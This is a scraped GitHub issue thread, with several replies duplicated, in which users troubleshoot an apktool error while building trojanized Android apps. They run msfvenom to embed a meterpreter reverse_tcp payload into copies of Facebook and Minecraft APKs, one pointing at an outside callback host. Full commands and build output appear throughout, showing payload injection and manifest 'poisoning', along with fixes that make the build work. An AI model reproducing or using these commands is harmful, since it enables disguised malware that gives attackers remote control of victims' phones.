I am using kali linux. I am getting error after executing the following command in the terminal.
msfvenom -x '/root/Downloads/facebook.apk' -p android/meterpreter/reverse_tcp LHOST=fw1.sshreach.me LPORT=10575 /root/Downloads/hacked.apk
After executing the command on the terminal I am getting error as below.
Error: Malformed version number string 2.4.1
I have also attached the screenshot.
After doing some research, I found that it could be issue of APKTOOL. Then I created issue for it. Below is the URL.
https://github.com/iBotPeaches/Apktool/issues/2325
But they closed issue by saying that it is not their issue.

Same problem here, I've also tried to install different versions of apktool but nothing changes
It's been 3 days I'm going through every problem possible, I did rebuild apps and now I can't anymore.
Hello mustafa i fixed this problem
Fix commands
apt-get install zipalign -y
apt-get install default-jre -y
apt-get install default-jdk -y
you will install apktool to manuel
sudo msfvenom -x minecraft.apk -p $your choosed payload set LHOST=$your choosed ip set LPORT=$your choosed port -o trojanminecraft.apk
i hope i helped you
best regards :)
Merhaba türk kardeşlerim Sizde yukarıdakı gibi bir gıcık hata alıyorsanız çözüm burda beni takip edin=>
Kullanacığınız komutlar:>
apt-get install zipalign -y
apt-get install default-jdk -y
apt-get install default-jre -y
apktool'u manuel olarak kuracaksınız
Kullanımı:
sudo msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp set LHOST=$uzakbağlantıip set LPORT= $uzakbağlantıportu -o trojanminecraft.apk
umarım sizlere yardımcı olmuşumdur
lütfen kötü niyetli kullanmayınız
Saygılarımla
TheAlperencv
Not working for me
Hello mustafa i fixed this problem
Fix commands
apt-get install zipalign -y
apt-get install default-jre -y
apt-get install default-jdk -y
you will install apktool to manuel
sudo msfvenom -x minecraft.apk -p $your choosed payload set LHOST=$your choosed ip set LPORT=$your choosed port -o trojanminecraft.apki hope i helped you
best regards :)
Run these commands will fix the problem temporary or you can write them to bachrc :
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
Here is a working solution i wrote:
https://stackoverflow.com/a/61420064/10114772
whats happen insted && whats actually should happend??
code 1 error
root@kali:~/Desktop/temp# msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.4##.### lport=4444 -o rooterX.apk
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
{you are at this point}
whats SOLUTION
add sudo in beginning{ even if you are superuser
EXAMPLE
sudo msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.##.##lport=4444 -o rooterX.apk
code ouput:
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.secondlemon.whatsdogpremium.xwseo
[] Loading /tmp/d20200430-12142-1b708v/original/smali/com/secondlemon/whatsdogpremium/App.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20200430-12142-1b708v/output.apk
[] Signing /tmp/d20200430-12142-1b708v/output.apk
[] Aligning /tmp/d20200430-12142-1b708v/output.apk
Payload size: 4623023 bytes
Saved as: rooterX.apk
EASY
i write bash script for you
whats happen insted && whats actually should happend??
code 1 error
root@kali:~/Desktop/temp# msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.4##.### lport=4444 -o rooterX.apk
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
{you are at this point}
whats SOLUTION
add sudo in beginning{ even if you are superuserEXAMPLE
sudo msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.##.##lport=4444 -o rooterX.apk
code ouput:
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.secondlemon.whatsdogpremium.xwseo [_] Loading /tmp/d20200430-12142-1b708v/original/smali/com/secondlemon/whatsdogpremium/App.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Rebuilding apk with meterpreter injection as /tmp/d20200430-12142-1b708v/output.apk
[_] Signing /tmp/d20200430-12142-1b708v/output.apk [_] Aligning /tmp/d20200430-12142-1b708v/output.apk
Payload size: 4623023 bytes
Saved as: rooterX.apkEASY
why bro like this sudo by just giving super user acess why its working
After using the sudo not getting the error.
so closing the issue.
Thanks to all for your support.
and Special thanks to sudo-WearTherinG
you just add
-a java --platform android
so
from msfvenom -x '/root/Downloads/facebook.apk' -p android/meterpreter/reverse_tcp LHOST=fw1.sshreach.me LPORT=10575 /root/Downloads/hacked.apk
to msfvenom -a java --platform android -x '/root/Downloads/facebook.apk' -p android/meterpreter/reverse_tcp LHOST=fw1.sshreach.me LPORT=10575 /root/Downloads/hacked.apk
if that not work, try this
sudo msfvenom -x '/root/Downloads/facebook.apk' -p android/meterpreter/reverse_tcp LHOST=fw1.sshreach.me LPORT=10575 /root/Downloads/hacked.apk
I got the error at the end
sudo msfvenom -x '/root/Downloads/facebook_lite_v212.0.0.6.106.apk' -p android/meterpreter/reverse_tcp LHOST=#.#.#.# LPORT=#### -o /root/FaceBookLite.apk
Using APK template: /root/Downloads/facebook_lite_v212.0.0.6.106.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.facebook.lite.keenr
[] Loading /tmp/d20200825-1925-1f1ojhc/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding apk with meterpreter injection as /tmp/d20200825-1925-1f1ojhc/output.apk
[-] I: Using Apktool 2.4.1-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: res/mipmap-anydpi-v26/$ic_launcher_foreground__0.xml: Invalid file name: must contain only [a-z0-9_.]
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 15, --target-sdk-version, 28, --version-code, 239306324, --version-name, 212.0.0.6.106, --no-version-vectors, -F, /tmp/APKTOOL9976567026301950362.tmp, -0, assets/lib/libs.xzs, -0, assets/secondary-program-dex-jars/store-0.dex.spk.xz, -0, png, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20200825-1925-1f1ojhc/original/res, -M, /tmp/d20200825-1925-1f1ojhc/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
Can anybody please help me.
I got the error at the end
sudo msfvenom -x '/root/Downloads/facebook_lite_v212.0.0.6.106.apk' -p android/meterpreter/reverse_tcp LHOST=#.#.#.# LPORT=#### -o /root/FaceBookLite.apk
Using APK template: /root/Downloads/facebook_lite_v212.0.0.6.106.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.facebook.lite.keenr [_] Loading /tmp/d20200825-1925-1f1ojhc/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding apk with meterpreter injection as /tmp/d20200825-1925-1f1ojhc/output.apk
[-] I: Using Apktool 2.4.1-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: res/mipmap-anydpi-v26/$ic_launcher_foreground__0.xml: Invalid file name: must contain only [a-z0-9_.]
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 15, --target-sdk-version, 28, --version-code, 239306324, --version-name, 212.0.0.6.106, --no-version-vectors, -F, /tmp/APKTOOL9976567026301950362.tmp, -0, assets/lib/libs.xzs, -0, assets/secondary-program-dex-jars/store-0.dex.spk.xz, -0, png, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20200825-1925-1f1ojhc/original/res, -M, /tmp/d20200825-1925-1f1ojhc/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktoolCan anybody please help me.
same error i am getting
Latest version of facebook won't even let you decompile it.
Some apps prevent from decompiling itself because apk devlopers.
Or try to manually bind rat with apk.
With Older versions or some other applications
whats happen insted && whats actually should happend??
code 1 error
root@kali:~/Desktop/temp# msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.4##.### lport=4444 -o rooterX.apk
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
{you are at this point}
whats SOLUTION
add sudo in beginning{ even if you are superuserEXAMPLE
sudo msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.##.##lport=4444 -o rooterX.apk
code ouput:
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.secondlemon.whatsdogpremium.xwseo [_] Loading /tmp/d20200430-12142-1b708v/original/smali/com/secondlemon/whatsdogpremium/App.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Rebuilding apk with meterpreter injection as /tmp/d20200430-12142-1b708v/output.apk
[_] Signing /tmp/d20200430-12142-1b708v/output.apk [_] Aligning /tmp/d20200430-12142-1b708v/output.apk
Payload size: 4623023 bytes
Saved as: rooterX.apkEASY
Thank you man, you saved my time 👍
Most helpful comment
whats happen insted && whats actually should happend??
code 1 error
root@kali:~/Desktop/temp# msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.4##.### lport=4444 -o rooterX.apk
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
{you are at this point}
whats SOLUTION
add sudo in beginning{ even if you are superuser
EXAMPLE
sudo msfvenom -x example.apk -p android/meterpreter/reverse_tcp lhost=192.168.##.##lport=4444 -o rooterX.apk
code ouput:
Using APK template: example.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.secondlemon.whatsdogpremium.xwseo
[] Loading /tmp/d20200430-12142-1b708v/original/smali/com/secondlemon/whatsdogpremium/App.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20200430-12142-1b708v/output.apk
[] Signing /tmp/d20200430-12142-1b708v/output.apk
[] Aligning /tmp/d20200430-12142-1b708v/output.apk
Payload size: 4623023 bytes
Saved as: rooterX.apk
EASY